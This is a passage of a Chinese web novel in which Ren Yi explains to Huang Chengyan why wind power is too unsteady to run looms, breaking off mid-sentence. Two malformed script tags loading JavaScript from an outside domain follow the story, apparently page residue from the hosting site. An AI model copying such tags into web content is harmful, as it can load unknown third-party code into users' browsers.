他微微偏着头,像是在认真听,又像是在想别的什么。
等黄承彦喘匀了气,停下了话头,他才缓缓开口,声音不急不缓,温润平和,却透着一股莫名的说服力:“黄老,您说的这些,我都想过。甚至,我还试着做过一个小小的风轮模型,试着用它带动小纺车。”
他顿了顿,伸手指了指黄承彦手里的扇叶模型,语气依旧平和,却说得字字实在:“可风力有个致命的毛病,不稳定。”
“风来了,呼呼作响,能把扇叶吹得飞转,力道大得能把木轮都吹歪;风停了,就一动不动,织机也跟着停摆,半点法子没有。”他摊了摊手,语气里带着点无奈,又透着点直白,“可织布不能等风啊。今儿有风,织三丈布;明儿没风,一尺都织不出来。作坊主愿意等吗?买布的商人愿意等吗?等着用布做衣服、做被褥的人家,愿意等吗?”
黄承彦眉头一拧,脸色瞬间沉了下来,当即开口反驳,语气里带着几分不服气:“难道水力就稳定?河水还有枯水期呢!冬天水浅,水流慢,带动不了水轮;夏天水浑,水里的泥沙会卡住齿轮;春天涨秋水,水流太急,还容易冲坏水坝。你说风时有时无,水就不会时大时小了?”
他一挥手里的扇叶,声音又高了几分,像是在赌气,又像是在坚持自己的想法:“况且,老夫发现,山顶上的风,比山脚下多太多了!那些高地方,风几乎天天有,力道还大。要是把织机搬到山上,专门用山顶的风,不就解决不稳定的问题了?”
“搬到山上?”
任弋忍不住笑了,那笑容里没有半分嘲讽,只有哭笑不得,像是在看一个倔强的孩子:“黄老,您先别生气。您想想,那些织布的,大多是村里的妇人,她们每天要做饭、带孩子、喂猪,您让她们每天爬几里山路去山顶上工?”
他摇了摇头,语气依旧直白,却带着几分真诚:“再说了,她们还要扛着粮食、带着孩子、背着织好的布下山,日复一日,谁能扛得住?还有织机,那么重,搬到山顶,得费多少人力物力?搬上去了,要是遇到暴雨山洪,又该怎么办?”
他顿了顿,又补充了一句,像是忽然记起什么:“还有,您说山顶风多,确实不假。可那不是凭空多的,是有缘由的。”
黄承彦一愣,眉头拧得更紧了,眼里的倔强淡了些,多了几分疑惑:“什么缘由?老夫只知道山顶风大,从没琢磨过这些。”
任弋伸手,在空中虚画了几下,像是在画山坡和山谷,语气说得通俗
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">